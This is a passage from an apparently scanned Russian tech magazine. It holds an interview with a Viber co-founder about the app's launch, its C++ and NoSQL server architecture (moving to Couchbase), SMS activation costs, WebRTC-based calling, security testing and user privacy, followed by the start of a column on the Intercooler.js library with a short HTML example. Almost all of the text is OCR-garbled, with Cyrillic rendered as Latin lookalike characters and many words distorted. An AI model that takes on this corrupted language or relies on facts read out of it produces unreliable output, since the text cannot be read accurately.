Mbi xoTe/in, HTo6bi mo>kho 6bi/io 3a Aec^Tb ceKyHA nocTaBMTb ce6e npn/ioxeHne, Bbino^- 



hub oneiHb npocTbie acmctbhh (BBecTM cbom HOMep TejieqboHa v\ noATBepAHTb ero bboaom 
npoBepoHHoro KOAa)- ripmioxeHHeaBTOMaTHHecKH perncTpnpoBa/iocb6bi, chhxpohi/i3i/i- 
poBa/io aflpecHyK) KHury — n Bee, moxho pa6oTaTb. 

3to cpa3y BbicTpe/in/io? Bee cpa3y noHsuiu u npiiHsuiM stot noAXOA? 

Aa, 3to 3apa60Ta.no cpa3y! Mbi, KOHenHO, TaKoro He o>KkiAa.nn. To, hto npow30Lu.no, KorAa 
Mbi BbinycTM/iM npwioxeHHe... Mbi HMKOMy, KpoMey3Koro KpyraceMbM m APy3eM, npo Viber 
He paccKa3biBa/in. TorAa oh Bbiwe/i TO/ibKO b M3pan/ibCK0M App Store. H 6e3 KaKoro-/in6o 
ynacTMa c HaiueM CTopoHbi yxe nepe3 HeAenio 06 stom Hana/iM roBopi/n~b no paA^o v\ TB. 
HT06bl He ynyCTMTb B03M0>KHblPi PR, KOTOpblfi Mbi XOTe/lM nojiyni/iTb, CAC/iaB MexAyHapOA- 

HbiM 3anycK, HaM npHLunocb oneHb 6biCTpo BbinycTMTb Viber n 3a rpaHi/iu,efi. A nepe3 Tpn 
aha noone 3Toro y Hac yxe 6bm nepBbiw mmjuihoh 3aperncTpnpoBaHHbix nojib30BaTe.nei/i. 
l/l Aa, 3T0My Mbi Toxe oneHb yAUBmiwcb. 

Vf\e b nepsyio onepeAb noflBii/icn Viber? 

nepBbiM peni/13 cocTOfl/icfl Ha iOS. ["Iotom iOS npOAonxa^a npOABuraTbca BnepeA no 0ht- 
nepaM, h y Hac AOBO/ibHO MHoro BpeMeHM yui/io Ha to, HTo6bi Aomarb ee c Android. Penv\3 
Android npon30Lue/i rAe-TO nepe3 toa noone iOS. Yxe noTOM CTa/in noflB/iHTbCfl 1/1 ocTa/ib- 
Hbie n^aTcJ)opMbi: Windows Phone, BlackBerry, HOKneBCKMe n/iaTc^opMbi S40 n S60, koto- 
pbie cetiHac yxe... He oneHb c h3mm. 

Em,e oneHb BaxHon n/iaTcJ)opMOM ajih Hac, juoacm, KOTOpbie u,e/ibiM AeHb cha^t b o4)m- 
ce, nepeA KOMnbiOTepOM, 6bma ACCKTonHaa Bepcua. noTOMy hto nenaTaTbc K/iaBwaTypbi, 
KOHenHO, yAo6Hee. riosTOMy a/ih nac 6bm BaxHbiM milestone, HTo6bi Bee sto pa6oTano 
m Ha PC, m Ha Mac, 1/1 Ha Linux. Ho sto no^Bunocb eme no3xe. 

MHorne, HaBepHoe, Ha30ByT t3kom ujar cnopHbiM. MecceHA^KepaM BbiroAHO Aep- 
>KaTb cbok) ayAHTOpMK) noHfiTHOM. Oaho Ae/10 — CKaaaTb: moh ayAWTOpna no/iHO- 
CTbio coctomt ii3 Mo6ii/ibHbix no/ibsoBaTe/iePi . Ho KorAa ecTb AecKTonHan Bepcwsi, 
TaK y>Ke He cxawewb. 

Mbi xoTe/iM npuHecTM Ha ACCKTon npocTOTy user experience, TaKyio xe npocTOTy wcno/ib- 
30BaHHfi, KOTopaa ecTb y Hac Ha Mo6mibHbix n/iaTc|)opMax. HaAeiocb, hto y Hac sto no/iy- 

HMflOCb. 

rio/ib30BaTbCfi Skype napa/inenbHO, Ha HecKO/ibKnx ACBawcax, to ecTb Ha KOMnbKxre- 
pe, Te/ieqboHe (xoth Ma/io kto aKTHBHO nanb3yeTCfl Skype Ha Te.nect)OHe), — sto oneHb 
MHTepecHbM onbiT. HaBepHoe, BceM TaKoe 3H3komo — KorAa Tbi 3anycKaeujb Skype Ha «a- 

KOM-TO HeOCHOBHOM PC, a Ha Te6fl HaHMHaiOT CbinaTbC^ C006lU,CHHa, KOTOpbie Bbl3blBaiOT 
HOCTa/lbrMK), — AByXMeCFlHHOM MJ1M B006uj,e AByxrOAUHHOM AaBHOCTM. A Mbi xoTenn co- 

3AaTb HopMa/ibHbiM cross device experience. HaM 6bmo oneHb BaxHO, HTo6bi Bee CTonpo- 

U,eHTHO CMHXpOHM3MpOBa^OCb MOKAy ACCKTOnHOM BepCMCM M MOKAY M06n^bH0M. Hy>KHO 

CKa3aTb, sto 6bma oneHb m oneHb HenpocTaa 3aAana, KOTopa^ OTHfl/ia y Hac Hpe3BbHaMH0 
MHoro BpeMeHM m chji. 

floneMy Bbi He b3h/im KaKOM-Hki6yAb XMPP 11 He CAe/ia/in mgccgha^mht Ha HeM? 
3aneM Hy>KeH 6bm cbom npoTOKOJi? 

B 3tom CMbic^e Mbi BcerAa AyMa.nn: hto Bbi6paTb A-n^ ce6a? Ha sti/ix Becax BcerAa ABa 
nonioca. Oahh nonioc — MHTeponepa6e/ibHOCTb. Btopom nonioc — MHHOBau.nn. CKaxeM, 

prni/i Rf^aTk maHnflnTki mmnKip r.vnpni/iHTPnnnpnafipnkHw nanni/iMPn Ohm hp mp- 



HflJlI/lCb C BOCbMMAeCflTblX TOAOB. M HTO T3M rAO? COOTBGTCTBeHHO, Mfl^ nO T3K0My ny™, 

Tbi oneHb orpaHMHGH b tom, hto Moxeiub Ae/iaTb. 

KorAa xe Mbi Bbi6npaeM A-na ce6a MHHOBau,nio, Mbi Moxeivi AG/iaTb co cbohm 3aKpbi- 

TblM npOTOKOJlOM Bee, HTO yroAHO. 

OaxeM, ceroAHfl HaM noAyManocb, hto HaiuHM no/ib30BaTermM AonxHa 6biTb MHTe- 
pecHa KaKafl-To KpyTan cfjuna. M AyMaTb o tom, htoGh Bee ocTanbHbie K/iMSHTbi, noAAep- 
xMBaiouni/iG Haiu npoTOKO/i, Toxe moitm c otmm pa6oTaTb, — sto oneHb cjioxho. nooTOMy 
Mbi npeAnoHMTaeM pa6oTaTb co cbohm co6cTBeHHbiM npoTOKonoM, KyAa mo>kgm Ao6aB- 
rmTb Bee, hto xothm, b nio6bix KonnnecTBax. 




MHOPACTPYKTyPA II CTEK 

HasepHoe, bcsi HHqbpacTpyKTypa oneHb cn/ibHo noMeHsuiacb c eecHbi 2010 roAa? 
KaKaq MH(J>pacTpyKTypa ncno/ib30Ba/iacb Toma, b Hana/ie, m KaKasi cewnac? 

Bee noMeHH/iocbyxe HecKO/ibKO pa3. B CMbione apxnTeKTypbi kjimghtob KopeHHbiM o6pa- 
30m Hunero He noMei-m.nocb. Ho MeHanacb cepBepHaa nacTb. 

ApxnTeKTypa K/iuieHTOB y Hac ncno/ib3yeT Kpocc-n/iaTcfjopMeHHyio 6w6.ni/iOTeKy, koto- 
paa 6e>KMT npaKTMHGCKM 6e3 n3MeHeHMM Ha Bcex wcno.nb3yeMbix HaMM n/iaT(J)opMax. Ha- 
HMHaa ot Windows Phone 8 m 3aKaHHMBaa iOS. HaA otom 6h6/imotgkom ctpomtch Ul Ha tom 
H3biKe, KOTopbiM nanb3yeTCfl 3Ta njiaTct>opMa. Eoni/i sto Windows Phone — sto C Sharp, 
ecnw iOS — Objective-C, ecni/i Android — sto Java. Mbi xothm, HTo6bi ann/ii/iKauiifl 6bma 
MaKCi/iMa/ibHO npi/i6/in>KeHa k HaTHBHOMy nepcfjopMaHcy, noaTOMy He nonb3yeMCH HMKaKM- 
mm Kpocc-n/iaTct)opMeHHbiMM MHCTpyMeHTaMM BpoAe PhoneGap. Bee native, Bee pa3pa- 
6oTaHO HaTMBHbiMM cpeACTBaMH tom M/iM mhom n/iaTcfjopMbi (Kpoivie o6meii 6n6/lMOTeKM). 

Hto KacaeTca cepBepoB, to BHanane Mbi ncno.nb30Ba.nn cbom Hapa6oTKi/i. Ha tot mo- 
MeHT y Hac yxe 6bin AOBO/ibHO 6ojibLuon onbiT HanwcaHi/ifl MacLUTa6npyeMbix cepBMCOB. 
Mbi Mcnonb30Ba^n MHoroe M3 CBoero Ha6opa. 3to 6bin 63KeHA, KOTopbiM He ncno/ib30- 
Ban a6conK)THO Hnsero CTa has pt h o ro , 3aTOHeHHbiPi noAa6coniOTHbM High Performance, 
oh pa6oTan noA Linux h 6bm HanncaH Ha hmcthx «nniocax». 

HaeepHHKa Mcno/ib30Ba/iMCb KaKne-TO 5A see TO>Ke 6bmo CBoe? 

y Hac, KOHenHO, 6bmn KaKne-TO BcnoMoraTenbHbie Be6-cncTeMbi. B KanecTBe Be6-CTeKa 
Mbi ao cmx nop ncnonb3yeivi PHP MySQL, a 6a3 asnhnx HMKaKMx He 6bino. Bee xpaHi/inocb 
b caMonwcHbix C++ cepBepax, 3aToneHHbix Ha MaKCi/iMa/ibHVK) npon3BOAHTe/ibHOCTb. 

To ecTb Bee n3Hasa.nbHO nuca/in TaK, HTo6bi Macro ncno/ib3yeMbie onepaTiiBHbie 
AaHHbie xpaHM/incb b naivisrni? Bee 6bmo 3aToneHO Ha ropusoHTa/ibHoe MacuiTa- 
6fipoBaHne? 

J2,a, nMeHHO. Ecnn BcnoMMHaTb — Ka3a/iocb 6bi, 2010 toa 6bin He TaK abbho. Ho nonyrmp- 
Hbie ceroAH^ onoBa, Hanpmviep NoSQL, TorAa 6bmn MeHee MOAHbiMM. Bee 3to HaxoAH- 
nocb b 3apoAbiLue, xopoiunx npoAyKTOB 6bino AOCTaTOHHO Mano. TaK hto no/ib30BaTbCfl 
co6cTBeHHOM apxwTeKTypoPi (TeM 6onee hto MHorne Hapa6oTKn y Hac yxe 6binn) Ha tot 
MOMeHT OKa3a/iocb, HaBepHoe, npaBM/ibHbiM peiueHHeM. 

M KaK 3to MeHfljiocb co BpeiueHeM? 

B ochobhom MeH^/iMCb Te HacTM apxnTeKTypbi, KOTopbie pa6oTaK)T c AaHHbiMM, — nepe- 
KmoHanncb Ha 6onee CTaHAapTHbie npoAyKTbi. Ot KaKux-TO cbohx cnoco6oB Mbi CTa/in 
neoexonnTb eoni/i He k TDaiii/iLMOHHbiM oermTi/iBHbiM 5H. to k 6onee NoSQL noonvKTaM. 



K npniviepy, b ocHOBe npeAbiAymero noKO/ieHnq Haiunx 63KeHAOB jiexa/m MongoDB 
m Redis. Ho Mbi AOCTaTOHHO 6biCTpo noHsuiw, hto MongoDB He Raej HaM HyxHoro pe- 
3y/ibTaTa bo bcgm, hto KacaeTCH npOM3BOAHTenbHOCTM. nooTOMy CBepx ototo nprniinocb 
caMMM, AOCTaTOHHO c/ioxHbiMM cnoco6aMM, npMKpynnBaTb Redis, ni/icaTb A-na Hero cbom 
co6cTBeHHbiM niapAHHT. Mory CKa3aTb, hto 6aroB b MongoDB n Redis Mbi OTKpbi/iM oneHb 
Heiviano. HaBepHoe, b KaKoe-TO BpeMH Mbi Aaxe 6bmn HeMnwoHaMn no noncKy 6aroB. 
CeMHac Mbi nepexoAUM Ha cneAyiOLnyio Haiuy apxi/rreicrypy. Mbi 3aMeHaeM v\ MongoDB, 
m Redis Ha Couchbase. 

rioneMy Bbi Bbi6pa/in mmghho Couchbase? 

Mbi aHajiM3MpOBann Bee ocTanbHbie npoAyKTbi Ha pbiHKe. AHa/iM3MpOBann KaK mx apxn- 
Teicrypy, TaK m nepc|)opMaHC. npocTO roHH/iH. HecKonbKO MecaueB 3aHHManncb nepcJ)op- 
MaHC-TecTaMM Bcex NoSQL-npoeKTOB, noKa He npuLunn k BbiBOAy, hto no coneTaHMio B03- 
MoxHOCTeM m npon3BOAHTenbHOCTM Couchbase A-n^ Hac 6onee noAxoA^iAnw npOAyKT. 
B Huc/ie nonb30BaTeneii Couchbase m 6e3 Toro Hi/iormTCfl Cisco, AOL, eBay i/i TaK Aanee. 
3to AOCTaTOHHO cepbe3HbiM npoAyKT. 

KaK BbinnsiAMT apxuTeicrypa Viber cewnac? Ecjim npeACTaeiiTb ee o6luimmm MasKaMn. 

Bee AOBO/ibHO cjioxho. 3to HecKO/ibKO KnacTepoB NoSQL 6a3 AaHHbix. 3to cepBMCbi, 
no3BO/iaiOLAMe HaM npOAO/ixaTb pa6oTaTb, Aaxe eonn KaKwe-TO K/iacTepbi naAaiOT. 3to 
(J^poHTeHA-cepBepbi, KOTopbie Bee eu\e HanwcaHbi HaMM Ha C++ m MaKCMManbHO onTM- 
MM3npoBaHbi noA nepqbopMaHC. 3to ctiom AOCTyna k AaHHbiM, kotophm cePiHac HanwcaH 
Ha Python, ho ckopo Mbi MHrpwpyeM ero Ha Java. 3to Tao<e KOMnoHeHTbi, KOTopbie OTBe- 
naiOT3a message routing. \A MHoro, oneHb mhoto nHcfjpacTpyKTypHbix Bemei/i. 

KaxAbiPi acneKT apxnTeKTypbi Viber Hani/manca KaK hchto oneHb npocToe, a noTOM 
pa3pacTajiCH bo hto-to oneHb onoxHoe. npHBeAy npwMep: KaK sto hh CTpaHHO 3bvhi/1t, 
OAHa M3 caMbix 6ojibLLMx pacxoAHbix CTaTePi KOMnaHMM, noAo6HOM Viber, — sto He cepBe- 
pbi h He 3apn/iaTa nporpaMMHCTOB, sto SMS. Te SMS, hto Mbi nocbinaeM, HTo6bi nonb30- 
BaTe/ib CMor npoMTi/i aKTMBau.nK). KoHenHO, SMS — HeAoporaa niTyKa, ho, KorAa KaxAbiM 
AeHb pen/icTpi/ipyeTca Mmuii/ioH nonb30BaTeneM, sto npeBpamaeTca b AOCTaTOHHO 6o/ib- 
Luyio m cepbe3Hyio CTaTbio pacxoAOB. 

B nepBOM pe/in3e Viber SMS nocbinanncb 6naroAapfl TOMy, hto Be6-CKpnnT, Hann- 
caHHbiM Ha PHP, Aepran HTTP-nm~epct>eMC KaKoro-TO SMS-npoBa^Aepa, HTo6bi tot no- 
onan coo6Lu,eHne. CefiHac Bee sto pa3pocnocb b molahvio SMS-cucTeMy, co cbommm 
npaBH/iaMM poyTi/mra, c Bbi6opoM /lyniuero npoBa^Aepa, mcxoa^ H3 cooTHOiueHnq u,eHa/ 
activation rate v\ TaK Aa/iee. KaxAaa TaKaa Menonb mcxoahom cucTeMbi co BpeMeHeM pa3- 
Bunacb b OTAe/ibHyio c.no>KHyio cocTaB.rmK)iuiyio. 

C T3KI4M KOJIMHeCTBOM nOJ1b30BaTe/ieM 3TO HeyflMBMTe/lbHO :). 

fla, 3Aecb Hunero He noAenaenib. Tpy6o roBopa: BbinycTUB Viber bo bccm Mupe, nepe3 
HeAe/iio Mbi noHfl/iH, hto Ham SMS-npoBaPiAep npeKpacHO yMeeT AOCTaB.rmTb coo6uj,e- 
h\a5\ b AMepnKy, ho He yMeeT b APyi~ne CTpaHbi. npi/iLunocb ci/iAeTb 1/1 b Excel BbicnuTbiBaTb 
AaHHbie no TOMy, KaKwe npoBaMAepbi m KyAa yMeiOT AOCTaB/ifiTb coo6Lu,eHna. IIotom pyKa- 
mh nponncbiBa^n b PHP-(+jaM^e, k KaKOMy npoBaMAepy M3 KaxAoPi CTpaHbi o6pamaTbCfl. 
riocTeneHHO Bee sto Bbinnnocb b Kpaci/iByio cucTeMy, KOTopaa aBTOMaTunecKM 3aHMMaeT- 
C9\ noAo6HOM aKTMBau,neM. 



Ha hgm OHa b MTore HanncaHa? 

l/l3TexHO/iornM... C++ BcerAa ocTacTca ocHOBHbiM f\n$\ performance-BemeM. Ha C++ HanM- 
caHbi Bee cfjpoHTeHA-cepBepbi, Bee, hto CBH3aHO c routing m MHcfjopMauneM MGXAy cepBe- 
paMM. rioKaivibi HecMOTpMM Ha KaKMG-TO 6o/iee MOAHbic TGXHO/iorMM BpoAe Erlang, npocTO 
noTOMy, hto y Hac co6panacb 6onbiuafl KOMaHAa, KOTopaa xopowo yMGGT nwcaTb Ha C++. 

CGMnac «3axoAHT» Java. EcTb Python. Elag Shell script, gctgctbghho. Bo bchkmx bg- 
6obckmx BGiAax mn nonb3y6MCfl PHP. 1/lHorAa tg xg bg6obckmg bglam Bcn/ibiBaiOT b an- 
nnnKauMM. nonb3y6MCfl MySQL. 3to bcg ocHOBHbiG TGXHonornn. 

OAHa 113 TexHOJiorunecKHx nacTeu Viber — sto HenocpeflCTBeHHo abm>kkm, BepHee 
npoTOKO/ibi, KOTOpbie ncno/ib3yiOTcn jxnn o6is/ieHa to/iocom. Bmago3bohkm tokg. 
Bbi pa3pa6aTbiea/iM mx in house win 3to CTopoHHue pa3pa6oTKM? 

3AGCb TOXG npOM30LLUia AOBO/lbHO 60JlbLLiafl 3B0JUOLLMH. Mbl nonb30Banncb OnpGAG/lGH- 

HbiMM third party ABMXKaMM. Ho, KaK norKO moxho y3HaTb b mhtgphgtg, b nopBOM pG- 
nn3G Mbi nonb30Banncb abuxkom mockobckom KOMnaHMM Spirit. HGPG3 TOA Mbl C HMMM 
paccTanMCb. C tgx nop npowriM glug oahh npoAyKT. B nooncAHMG ABa c nonoBMHOM roAa 

MCnO/lb3yGM MOAH4)MLLMpOBaHHyK) HaLUMMM pyKaMM BGPCMKD WGbRTC. TO GCTb B OCHOBG 
VibGmGXMTWGbRTC, KOTOpbIM Mbl OnTMMM3MpyGM, AOnOJlH^GM. OCHOBHbIG npo6/i6Mbi — 

onTMMM3au,na pa6oTbi Ha Mo6nnbHbix AGBawcax (ARM, chhtmg m BOcnpon3BGAGHHG 3ByKa 
m KapTMHKM Ha iOS n Android) m onTMM 1/133141/1 a A-na cgtgm 3G, KOTopbiG OHGHb OT/innaiOTCfl 

CBOI/1M nOBGAGHMGM OT 06blHH0r0 AOMaiUHGTO nOAKJllOHGHMfl. 

Ec/im roeopMTb o MOHMTopuHre , y Bac HaeepH^Ka BbiAe/ieHO mhoto n\oj\ev\ nnn noA- 
AepwaHi/m pa6oTOcnoco6HOCTM 11 MOHiiTOpHHra Bcero 1/1 bch? 

Ha caMOM p,ene mx hg TaK MHoro. 3to AOBonbHO 3a6aBHO, ho, gcjii/i 6bi Bbi cnpocM/iM mghh 

06 3T0M TOA Ha3aA, 8 OTBGTHJI 6bl, HTO BCGTO OAHH HG/IOBGK. K COKa/lGHMKD, OHGHb HaCTO 

3aHHMaTbca 3thm npMxoAH/iocb m MHXGHGpaM. CcMnac Mbi pacLunp^GM Haiu IT-AGnapTa- 
mght m noHGMHory HannHaGM BbiAGn^Tb noApa3Ae.neHM6 DovOps. 

£[j]9\ MOHMTOpMHra Mbl l/ICnOnb3V6M OHGHb-OHGHb MHOrO BCGTO. l/l3HaHaJlbHO Hani oc- 
HOBHOM MOHMTOpMHTOBblM npOAyKT Ha CMCTGMHOM ypOBHG 6bin Zabbix. y HaC OHGHb MHOrO 
CBOMX MHCTpyMGHTOB PJ]9\ MOHl/ITOpi/IHTa, KOTOpbIG n03BOJlflK)T ann/lMKaTMBHO CMOTpGTb, 
HTO npOMCXOAUT C HaLUMMM CGpBGpaMM (K3KMG MGCCaA>KM TyAa npMXOA^T HTO TaM npOMC- 

xoaht), pMcyiOT KpacMBbiG rpacf)MKM m TaK Aa/iGG. B tom HMcnG Mbi nonb3yGM Stackdrivcr 

M3 nOCJlGAHMX M MOAHblX B6HLGM. 

C tohkm 3peHuq MeTOAO/ioriiM ucno/ibsyeTe KaKne-/iu6o MOAHbie noAxoAbi, Bpofle 
Agile? 

fla, Mcno/ib3yGM m bcg bpgmh mghhgm mx, CTapaGMca aAanTMpoBaTb noA cg6h. Bo/ib- 
uiaa nacTb KOMnaHMM pa6oTaGT c Agile: b ochobhom sto Scrum, MHorAa b HeKOTOpbix ko- 
MaHAax Kanban. Ho So/ibiuafl nacTb KOMaHA, oco6ghho KOMaHAbi kjimghtckmg, pa6oTaiOT 
no Scrum. 

A/in B3ai4MOAeMCTBiifl MexAy KOMaHflaMw hto ncnonb3yeTcsi? KaKiie MHCTpyMeH- 
Tbi — BHyTpeHHiie Hapa6oTKM mill hto-to BpoAe Redmine, Trac? 

Mbi Mcnonb3yGM npOAyKu,MK)3aMGHaTG/ibHOM KOMnaHMM Atlassian — JIRAMGiiieConfluGncG 
o6Fi3aTGnbHO. Bcg, hto CBH3aHO c AOKyMGHTauMGM m KO^/ia6opau,MGM, y Hac b EntGrprisG 



Wiki, to ecTb b Confluence. Bee, hto CBH3aHO c TpeKMHroM, — JIRA. Bee xoctmm y ce6fl. 
EE30f1ACH0CTb 

Korfla Bbi BbinycTM/iii npiisioweHiie nnn Android, HaeepHsiKa mhoto yivie/i bu.ee xo- 
Tenvi ero AeKOMnn/inpoBaTb, OTpeeepcuTb, nocis/iOTpeTb. KaK Bbi noAxoAUTe k 3a- 
iMMTe npM/ioxceHMM, KOTopbie yxoAflT b Google Play? 

rioAxoAUM, KOHenHO, OHeHb cepbe3HO. B neivi-TO noivioraeT hapo Ha C++, AeKOMnmiwpo- 
BaTb ero Bce-TaKM onoxHee, neivi Java. Boo6w,e Mbi oneHb cepbe3HO othocmmch k 6e30- 
nacHOCTM no.nb30BaTe.neM, b tom nucne nosTOMy Mbi Bee BpeMH npoBOAUM external black 
hat npOBepKM. To ecTb Bbi6npaeivi bhcluhioio KOMnaHi/iio, npeAOCTaB/iflioLij,yio TaKne yony- 
r\A, AaeM mm nanoMaTb Viber m cmotpmm, hto M3 3Toro BbiMAex Ecni/i ohh hto-to HaxoAflT, 
cpa3y xe hmhmm. y Hac HeT o0nu,na^bHOM Bug Bounty nporpaMMbi, ho, ecnn kto-to nn- 
LueT HaM o KaKofi-TO npo6/ieMe m/ih vh3bi/imoc™, Mbi CTapaeMca v\nv\ B03HarpaAHTb ero, 

\AT\V\ KaK-TO Ha^aAHTb nOCTO^HHOe COTpyAHHHeCTBO. Mbi OHeHb U,eHMM 3T0, A-n^ HaC 3T0 
BaXHO. 

ripoTOKOJi Viber HasepHsnca yx<e nbiTa/incb peeepciiTb, HaeepHsiKa kto-to npo6o- 
ea/i BbiK/iaAbieaTb OTpeeepceHHbie oniicaHiin ero pa6oTbi? 

Hunero cepbe3Horo a He BHAen. npoTOKO/i 3aLunc|)poBaH, TaK hto nio6aa nonbiTKa sto 
CAenaTb 6yAeT AOCTaTOHHO cjio>khom. ft He roBopio, hto kto-to MOxeT B3/ioiviaTb npo- 
tokoji, CHMMafi AaHHbie M3 ceTM. Ho Aaxe npocTO 3Haa bckd Ty nHct)opMau,nio, hto ecTb 
Ha Viber-K/ineHTe, npocTO npoTOKon HMKOMy BOcnpon3BecTM He yAanocb. 

BaxHbiM eonpoc, CBH3aHHbiM co bcgmm MGCceHfl>KepaMii: cewnac Bcex o6bmhh- 

KDT B TOM, HTO OHM CJMBaiOT AaHHbie II n03B0/mK>T WriHOHHTb 3a KDSepaMM. HTO Bbi 

o6biHHO OTBenaeTe Ha TaKwe odBMHeHMfi? BeAb ohm HaeepHqKa 6bmM. 

Bbinn, KOHenHO, ohm noflB/miOTCfl. Ho AaHHbie nanb30BaTerm jinn nac — caivioe maBHoe. 
riojib30BaTenn HaM AOBepaiOT, m Mbi xotmm, HTo6bi TaK m ocTaBanocb. nosTOMy AaHHbie 
Mbi oneHb i/i oneHb cepbe3HO xpaHMM. Moxho cyAHTb Aaxe no OAHOMy c/iynaio: Koraa Ca- 
yAOBCKaa ApaBna 3aaBmia, hto 3aKpoeT MecceHA>Kepbi, KOTopbie He comaiuaiOTCfl ne- 
peAaBaTb mm nojib30BaTenbCKne AaHHbie. 3aKOHHM/iacb 3Ta mctopma tcm, hto Hac TaM 
3a6^0KnpoBa^n. WhatsApp — HeT. 3to qbaKTbi. He 6yAy cneKynwpoBaTb Ha TeMy, noneMy 
TaK anynmiocb. 

Bbi He npeAOCTae/iqeTe AOCTyn k no/ib30BaTe/ibCKMM AaHHbiM BOo6m,e HMKOMy? 

Boo6LAe HMKOMy. EAUHCTBeHHoe ncKmoneHne, KaK n b jik)6om KOMnaHnn, cocTaBJiaiOT 
oct>nunanbHbie 3anpocbi cyAa no KOHKpeTHbiM c/iyHaflM. CKaxeM, eonn H3 0paHu.nn npn~ 
xoaut 3anpoc, CBfl3aHHbiPi c paconeAOBaHi/ieM y6nPicTBa, to Mbi npeAOCTaB/iaeM AaHHbie, 
ho TO/ibKO oneHb-oneHb onpeAeneHHbie. Mbi HMKorAa He npeAOCTaB/iaeM hm coAepxuMoe 
nepenwcKM, hm coAepxuMoe caMHx pa3roBopoB. Mbi cmibHO no3a6oTi/inncb o tom, HTo6bi 
Aaxe f\nn Hac sto 6bi.no b npnuHnne HeB03MOXHO, Mbi nocTpon/in cucTeMy mmchho tskmm 
o6pa30M. riosTOMy no/iyHHTb coAepxuMoe nepenncKM He moxct hmkto, hm no k3khm cy- 
Ae6HbiM AOKyMeHTaM. 

Bbi Mcnoiib3yeTe P2P-iunqbpoBaHne, to ecTb nepea sac Bee coo6u4eHnq m ro/ioco- 
Baq CBn3b npoxoA^T b 3aiuM(t>poBaHHOM BUfle? 



>i He oyAy KOMMeHT^poBaTb, KaKi/ie kohkpctho unocoubi wucppoBaHUH Mbi nuno/ibayeM, 
HTo6bi He oG/iernaTb Hi/iKOMy 3aAany :). Ho Mbi mx MeHaeM, nocTeneHHO m Bee Bpeivia. fle- 
jiaeM Bee onoxHee, noTOMy hto CMTyau,na b Mi/ipe CTaHOBHTca Bee Taxe/iee b nooneAHne 
roAbi. Bee Mbi bi/iaum, hto nponcxoAHT. Bee ern rpoMKMe Ae/ia, Bee, hto 6bmo co CTpaHa- 
mm h npaBMTenbCTBaMM, KOTopbie nbiTaKDTC^ noAC/iyniMBaTb nojib30BaTe/iePi. Haiua no3M- 
u,\A9\ b AaHHOM anynae npocTa: Hama eAUHCTBeHHaa 3a6oTa — coxpaHMTb privacy Haiunx 
nonb30BaTe^eM. X 



AO VIBER 



KaK si noHMMato, y KOMnaHiiii Viber 6bi/io HecKO/ibKO ocHOBaTe/iew? HenocpeACTeeHHO Bbi 
m... kto eme, KeM 6bmii Apyrne coocHoeaTe/iM? 

KoHeHHO, 3T0 6binn Apy3bfl. BcerAa jiyHwe Ae/iaTb 6n3Hec c jiiOAbMi/i, KOTopbie 6/im3km Te6e 
no Ayxy. Ho y Hac 6bma CBoero pOAa npHBunemfl — nepeA Viber Mbi yxe pa6oTann BMecTe b paM- 
Kax HameM npeAbiAymeM KOMnaHwu. Mbi xopoujo 3Hajii/i Apyr Apyra, VMenw pa6oTaTb Apyr c Apy- 
roM. 3to oneHb BaxHbiM qbaicrop, hto Mbi 6bmn cpa6oTaBi±ieMCfl, totobom KOMaHAOM. 

OcHOBHaa KOMaHAa Viber — sto Ta/ibMOH MapKO, Ham CEO, n, i/i eiAe oahh senoBeK, KOTopbifi 
OTBena/i 3a SaKeHAbi 1/1 bckd cepBepHyio MH(j)pacTpyKTypy. OcTa/ibHbie Bee c TexHO/iornHGCKMM 
6eKrpayHAOM. Ho y Hac 6bm MHoro/ieTHnii onbiT cobmccthoii pa6oTbi. 

BaiuuM nepBbiM npoGKTOM 6bma P2P-ceTb iMesh? 

Aa, nepBbiM npoeKT — iMesh. Ho sto 6bmo oneHb a^bho: npoeKT Mbi Hana/in b 1999 roAy, KorAa 
P2P-cepBMCbi mnbKO noflBn/iwcb. Pa6oTy HaA iMesh Mbi Hasa/iM, KorAa eLAe He 6bmo Aaxe jiereH- 
AapHoro Napster. Ho Napster BbiLUJiw paHbuie Hac m CMor/iM co6paTb orpoMHyio nonb30BaTenb- 
CKyio 6a3y — n ohh xe yMyApn/iwcb nepBbiMM nojiyHMTb noBecTKy b cyA ot Accou,nau,MM 3ByK03a- 
nMCblBaiOLAMX KOMnaHMM AMepnKM. 




PC ZONE 




EE3 xnonoT 

nOflBOPKA nPI/lflTHblX n0/lE3H0CTEM 
Arm PA3PAB0THI/IK0B 

Mbi xi/ibgm b npeKpacHOM Mi/ipe, rfle npo- 
rpaMMMCTbi He CTecHnfOTca BbiK/iaflbiBaTb 

pa3JlMHHbie BKyCHOCTl/l b naS/iMK — HyXHO 

jiMLUb 3HaTb, rfle mx MCKaTb. flocTaTOHHO no- 
SpoA^Tb no GitHub i/i flpyruM n/iOLu,aAKaM 
a™ pasMemei-ii/m KOfla, v\ Tbi Hai/iAewb peiue- 
HMe {\m jihd6oi/i npoSneivibi. flaxe aji^ toi/i, ko- 
TopoM y Te6fl flo eToro MOMGHTa 1/1 He 6bino. 




Intercooler.js 



qithub.com/LeadDyno/intercoQler-js 

Intercooler — sto RESTful data-binding 6n6/inoTeKa, npeAHa3HaneHHafl a/ia oni/icamifl 
6n3Hec-/iornKn AJAX-Be6-npm~ioxeHi/ifl b AeKJiapaTMBHOM ciwie. ("lpou-ie roBopa, OHa no- 
3B0/ifleT co3A3Tb MHTepaKTHBHbiM no^b30BaTe^bCKMM MHTepc|)eMC /lMLUb c noMOLUb data-a- 
Tpn6yT0B TeroB. Bo3mo>kho, KOMy-TO 3to HanoMHMT 6n6/iMOTeKy 2007 roAa FullAjax, Ha- 
ni/icaHHyK) HbiHeujHHM ocHOBaie/ieM Jelastic PyanaHOM Cmhmu,kmm. 

C Intercooler Te6e He npwAGTCfl 3aAyMbiBaTbca o MOAe/mx, poyTMHre, Ba/inAau,MM, peH- 
AepuHre m mhoi~mx Apymx BeLAax, o KOTopbix npi/iHATO 3a6oTMTbCfl b coBpeMeHHbix cf>peMM- 
BopKax. Bee sto Intercooler 6epeT Ha ce6fl, npeAOCTaB/iafl Te6e nHTepcJ)eMC 3HaHMTe/ibHO 
6ojiee BbicoKoro ypoBHfl a6cTpaKu.nn. npwviep: 

<div id="targetDiv">Results Div. . . </div> 



<i id="indicator" style="display : none" class="fa fa-spinner fa-spin"> 
<input id="hiddenlnput" type="hidden" name="hidden" value="42"/> 
<div ic-trigger-on="click" ic-verb="POST" ic-s rc=" /example" 
ic-include="#hiddenlnput" ic-indicator="#indicator" 
ic-target="#targetDiv" ic-transition="none">Click Me!</div> 



KorAa mw K/iMKHeM Ha div, OTnpaBHTca POST-3anpoc Ha /example, BK/iioHaiOLMuiM 
